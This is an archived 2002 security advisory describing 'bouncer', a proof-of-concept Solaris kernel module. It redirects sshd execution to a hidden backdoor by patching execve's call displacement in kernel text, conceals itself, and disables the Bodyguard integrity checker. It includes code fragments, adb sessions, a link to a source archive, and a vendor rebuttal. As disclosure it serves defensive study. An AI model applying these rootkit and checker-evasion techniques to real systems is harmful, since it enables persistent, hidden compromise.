TUCoPS :: SunOS/Solaris :: sun5514.htm

Bodyguard bypassed / Solaris kernel function hijacking
8th Jul 2002 [SBWID-5514]
COMMAND

	Bodyguard bypassed / Solaris kernel function hijacking

SYSTEMS AFFECTED

	??

PROBLEM

	noir sin [http://www.olympos.org/] wrote :
	

	Recently, Dave Aitel posted a link to a loadable kernel module  for  the
	Solaris  operating  system  to  check  its  kernel   integrity   against
	backdoors. The product does md5 checksuming on the sysent32 table  where
	pointers to syscall handling kernel  functions  reside.  These  pointers
	are well known to be  manipulated  by  backdoor  lkm\'s  to  change  the
	execution order and pre-execute some hacker code that will  hide  things
	or feed false information.
	

	Further demonstrates stealth techniques that  will  bypass  checks  that
	are done by  Bodyguard  (Dave\'s  lkm).  Similar  techniques  have  been
	developed for Linux by Silvio  and  most  recently  by  mayhem.  But  my
	implementation has a  major  difference  than  Silvio\'s  and  mayhem\'s
	kernel function hooking; Rather than inserting a  jump/call  instruction
	on functions entry point, I choose to change displacement  of  the  call
	instructions that are used on system call dispacthing.
	

	 Proof of concept code

	 =====================

	

	http://gsu.linux.org.tr/~noir/b.tar.gz

	

	

	(Source will only compile  with  Sun  Workshop  compiler,  do  not  even
	bother with gcc) Binary and source is coded/compiled on Solaris 7 and  8
	sun4u with 64 bits kernel. Try it on only on Solaris 7 or 8 with 64  bit
	kernel image (isainfo -b).
	

	 Details

	 =======

	

	In the \"product\" demo,  Dave  checks  for  execve  system  call  (only
	execve and stat64 indeed),  for  demostrations  sake  I  will  hook  the
	execve  syscall   and   redirect   /usr/local/sbin/sshd   execution   to
	/usr/lib/.funky/sshd (kids, you can grab your favorite OpenSSH  backdoor
	and place it under /usr/lib/.funky/)
	

	bash-2.03# adb -k /dev/ksyms

	physmem 3b5b

	exece/5i

	exece:

	exece:          save    %sp, -0xb0, %sp

	                mov     %i0, %o0

	                mov     %i1, %o1

	                call    exec_common

	                mov     %i2, %o2

	

	After the userland trap instruction kernel dispacthes the execve  system
	call to the exece() function,  as  we  can  see  exece()  directly  call
	exec_common() without touching anything, this is the instruction  \"call
	exec_common\" that we are going to hijack!! and change the  displacement
	to our newly inserted code: hook_execcommon()
	

	exece+0xc/i

	exece+0xc:      call    exec_common

	.=X

	                10086cf0

	10086cf0/X

	exece+0xc:      4000000c

	

	this is the value before patching it
	

	but we will face an obstacle here since the  kernel  text  is  read  and
	execute only in Solaris kernel. there is no such issue  on  Linux  since
	kernel text is rwx ... here is how to overcome the problem:B
	

	unsigned int gprot;

	              |--> a global to store the orginal protection bits

	...

	...

	..

	int

	_init(void)

	....

	

	 if((i = hat_getattr(kas.a_hat, (caddr_t) orig_exece, &gprot)) != 0)

	        goto out;            |

				     |--> get the page protection bits and store it in gprot

	

	

	 hat_setattr(kas.a_hat, (caddr_t) orig_exece, 0x4, PROT_WRITE);

	                                                     |--> set

								>PROT_WRITE bit

	

	 *(int *) orig_exece = call_ins;

	                        |--> patch the kernel text with our call instruction

	

	 hat_chgattr(kas.a_hat, (caddr_t) orig_exece, 0x4, gprot);

	                                      |--> restore the page protection

	

	....

	

	that\'s it ;-), simple as that... and on _fini we do  the  same  routine
	to restore the original call instruction
	

	also  here  is  how  the  displacement  for  the  call  instruction   is
	calculated:
	

	                                     ____________________________

	call instruction on SPARC cpu is:    |01|    30bit displacement  |

	                                     ----------------------------

	

	all  you  have  to  do  is  find  the  difference  between  2  addresses
	(hook_execcommon - (exece+0xc)) bitwise shit it 2 bits to right than  OR
	it with 0x40000000, done!
	

	Additional  side  note:  bouncer  does   not   even   reads   from   the
	sysent/sysent32 table, it uses kobj_getsymvalue(char  *,  int)  function
	to resolve the kernel symbols like exece, exec ...
	

	let\'s continue
	

	bash-2.03# modload bouncer              ---> lets load our module

	bash-2.03# adb -k /dev/ksyms

	physmem 3b5b

	exece/5i

	exece:

	exece:          save    %sp, -0xb0, %sp

	                mov     %i0, %o0

	                mov     %i1, %o1

	                call    hook_execcommon  ---> w0w!!! it is patched

	                mov     %i2, %o2

	exece+0xc/i

	exece+0xc:      call    hook_execcommon

	.=X

	                10086cf0

	10086cf0/X

	exece+0xc:      400675c0

	$q

	

	bash-2.03# /usr/local/sbin/sshd

	bash: /usr/lib/.funky/sshd: No such file or directory

			|--> i don\'t run OpenSSH, backdoor is active!

	bash-2.03# modinfo | grep bouncer

			|--> invisible, but I can guess da number ;)

	bash-2.03# modunload -i 118   --> lets unload and do sanity check!! ;-p

	bash-2.03# adb -k /dev/ksyms

	physmem 3b5b

	exece+0xc/i

	exece+0xc:      call    exec_common     --> cool back to normal

	.=X

	                10086cf0

	10086cf0/X

	exece+0xc:      4000000c

	$q

	

	bash-2.03#

	

	a clean unload....
	

	bouncer hooks cmn_err()* and checks  if  verify_syscalls()  resolvs,  if
	YES it patches the first 2 instructions of verify_syscalls with  \"retl;
	nop;
	

	*   cmn_err()   is   used   for   reporting   to    userland    (through
	/var/adm/messages) so at _init() bodyguard call cmn_err() to  report  of
	its  successful  installation,  nada!  bouncer  kicks  in  and   patches
	verify_syscall() ... ;0)
	

	now you can even change the sysent/sysent32 table with no  worries  ;  )
	logs of BOUNCER in action:
	

	bash-2.03# uname -a

	SunOS slint 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10

	bash-2.03# isainfo -b

	64

	bash-2.03# cd BOUNCER/

	bash-2.03# modload b2

	bash-2.03#

	bash-2.03# /usr/local/sbin/sshd

	bash: /usr/lib/.funky/sshd: No such file or directory

	bash-2.03# cd ../BODYGUARD

	bash-2.03# sh runbodyguard_verifier.sh

	This is the license for BodyGuard Kernel Verifier, Demo Version 1.0

	

	.....

	Jul  7 04:45:50 slint bodyguard: [ID 801043 kern.notice] NOTICE:

	Installing Immunity BODYGUARD module!

	Jul  7 04:45:50 slint bodyguard: [ID 300378 kern.notice] NOTICE: If there

	are any problems, please e-mail Dave Aitel at dave@immunitysec.com

	Jul  7 04:45:50 slint bodyguard: [ID 779008 kern.notice] NOTICE: This is

	just a demo version of the Immunity BODYGUARD product.

	Jul  7 04:45:50 slint bodyguard: [ID 530759 kern.notice] NOTICE: For a

	year-long site license, or limited source code license, please see

	http://www.immunitysec.com.

	Jul  7 04:45:50 slint bodyguard: [ID 222896 kern.notice] NOTICE: Done

	installing BODYGUARD.

	Jul  7 04:45:51 slint bodyguard: [ID 887483 kern.notice] NOTICE: Removing

	BODYGUARD module!

	Jul  7 05:01:22 slint bodyguard: [ID 801043 kern.notice] NOTICE:

	Installing Immunity BODYGUARD module!

	Jul  7 05:01:22 slint bodyguard: [ID 300378 kern.notice] NOTICE: If there

	are any problems, please e-mail Dave Aitel at dave@immunitysec.com

	Jul  7 05:01:22 slint bodyguard: [ID 779008 kern.notice] NOTICE: This is

	just a demo version of the Immunity BODYGUARD product.

	

	bash-2.03# modload bodyguard

	bash-2.03# adb -k /dev/ksyms

	physmem 3b5b

	verify_syscalls/i

	verify_syscalls:

	verify_syscalls:                retl

	

	verify_syscalls+4:              nop

	

	cmn_err+0x94/i

	cmn_err+0x94:   call    uncle_steve_albini

	

	exece+0xc/i

	exece+0xc:      call    hook_execcommon

	

	

	The fundamental problem  is  bodyguard  is  also  trusting  a  subverted
	kernel, this means that any internal kernel function is  being  used  by
	bodyguard could be changed in a  way  that  it  will  detect  bodyguards
	existence and feed false information or  even  change  bodyguard  itself
	... for example ddi_enter_critical or mod_install can be hooked in  away
	that it will do a kobj_getsymvalue() one or  more  exported  symbols  of
	bodyguard  (myverify,  md5_XXXXXX,  verify_syscalls...)   and   if   the
	symbol/s resolve it will patch that  function  with  a  \"return  TRUE\"
	instruction ... ;-) ofcourse patching must be done at  the  entry  point
	somewhere, most likely the first instruction ....
	

	primary_inhouse_kernel_function_used_by_bodyguard()

	{

		.....

	if(kobj_getsymvalue(verify_syscalls,1)){

		do page protection manipulation

		patch the proper place with \"return TRUE\" of the verify_syscalls()

		!! this will make verify_syscalls return TRUE meaning no problems

		}

	....

		do the realstuff ...

	}

	

	this will render any kernel integrity level  checker  useless.  solution
	is  simple  integrity  checkers  have  to  be  stealh  to   like   their
	counterparts (backdoors)

SOLUTION

	Dave Aitel comments :
	

	Well, BG 1.0 Free Demo (http://www.immunitysec.com/bodyguard.html)  does
	do the dereference. E.G. It checks the system call code itself, not  the
	sysent32 table. So theoretically adding exece to  BodyGuard\'s  checksum
	table _would_ catch this method, at least for the moment. :>
	

	The demo version is somewhat limited in what it checks,  but  DOES  work
	on many \"popular\" kernel level rootkits. A lot  of  the  goal  was  to
	give people at least SOME  recourse.  I  recognize  the  it  becomes  an
	escalating game of SPY vs SPY, but BG does at least give  non-hackers  a
	chip to spend in the game - something they  didn\'t  have  until  Monday
	:>.=20
	

	There\'s definitely a window of time where BG  will  detect  a  rootkit.
	This is why BG, to be successful, will have
	

	 1. Limited distribution

	 2. slightly different executables for each customer

	 3. be sold only on a subscription basis - new versions due out

	    periodically throughout the year.

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH